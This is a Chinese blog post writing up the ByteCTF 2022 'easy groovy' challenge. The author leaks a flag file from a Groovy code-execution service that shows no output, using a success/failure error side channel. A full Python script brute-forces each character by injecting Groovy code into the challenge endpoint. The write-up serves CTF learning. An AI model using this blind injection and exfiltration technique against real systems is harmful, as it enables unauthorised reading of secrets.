Bytectf 2022 easy groovy 看看pwn手做web题-阴间信道的挖掘

Uncategorized
1.9k words

想起来这是前几年在湖里打的印象比较深刻的题目,难度不大,但是非常有意思,最后做出来用的是一个非预期的做法。

题面

这里已经找不到当年的题面了,但是业务逻辑非常简单。这里尝试描述下。

主界面大概长这样。输入一段groovy代码并执行。

主界面

执行失败,这里打开一个不存在的文件。

失败执行

成功执行。可惜没有给stdout。

成功执行

一些危险的代码会被过滤掉,例如 execute 。估计不止字符串过滤。

过滤代码

过滤绕过

由于题目并没有给具体的过滤规则,因此只能直接尝试了。最后试出来,下面的代码可以获取flag中的信息,但是没有信息返回到前端。

1
2
3
File file = new File("flag")
x=file.text
println(x)

事实上根据官方题解,可以通过 UTF-8 进行字符绕过。据说使用 Groovy 自带的API也行。

image-20240327165702467

事实上如果是现在的我,可能直接尝试反弹shell了,然而当时没有vps。

正常解法

可以看官方解析,反正我是看不太懂。不会一点web和misc/(ㄒoㄒ)/~~

‌⁤⁡‍‍‬‌‌⁣‬⁡⁡‌⁣⁢‬‬⁢⁡⁣⁣⁣‬⁡⁤‌‍⁣⁤‍⁡⁢⁣ByteCTF 2022 官方writeup - Feishu Docs (larkoffice.com)

画风长这样:

预期解画风

同时还有朋友用Groovy的API来扒文件的解

https://o.hujiekang.top/2022/09/25/ByteCTF-2022-WriteUp

GroovyAPI

野路子:阴间信道

没回显≠没泄露信息

–不等式解题就是快

由于当时没有vps,反弹shell和各种渗透方法也不太懂,因此需要找其他方法来在没有回显的情况下泄露信息。

虽然没给stdout,但是前端会在执行结束后会提示是否执行成功,事实上这个事件本身就传递了一比特的信息。因此如果我们能控制执行的成功和失败,将它和我们需要泄露的内容关联起来(事实上就是编码了),这样就相当于构造了一个信道。阴间信道这个词似乎有点虎狼之辞啊。。。

如何操控程序成功失败呢?其实挺简单的,用条件分支控制程序爆一个异常就行了。

因此可以枚举flag的每一位,判断是否是某字符,比较成功时让程序执行一下除以0。剩余的工作就是写web板子了,post发送代码,参数名为ctx。

贴上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
code='''File file = new File("flag")
x=file.text
te=x.getAt(%d)
if(te=="%s") a=1/0
'''
table="abcdefghijklmnopqrstuvwxyz0123456789-{}"//字符集
url="https://deb8e855ae25d8f74ab8e0d42eb7cc98.2022.capturetheflag.fun/run"
flag=""
import requests,time
for i in range(7,50):
print(i)
find=0
for j in table:
ctx={"script":code%(i,j)}//判断第i位是否为字符j
while(True):
try:
print("testing",i,":",j)
ret=requests.post(url,data=ctx)
#print(ret.text)
if("failed" in ret.text):
flag+=j
print(flag)
find=1
break
elif("success" in ret.text):
break
except:
a=input("retry?\n")
if('n' in a):
break
else:
pass
if(find):break

小结

类似信道的思路在ctf中也常常出现。例如2022年TCTF的初赛ezvm这题。

ezvm

题目给了一个虚拟机,每次都可以运行给定的指令,每次运行结束都会给打印提示信息,但是没有任意print所以事实上也是没给自由的stdout。

而题目给的指令中有一个print(“what???”)的指令,事实上这就至少给了一个单比特信道。这样在两次执行的结束提示之间,通过检查输出了多少what字符串就可以逐比特或者逐字节泄露。

企鹅佬似乎没有通过这种泄露方法,这里也贴一下。ezvm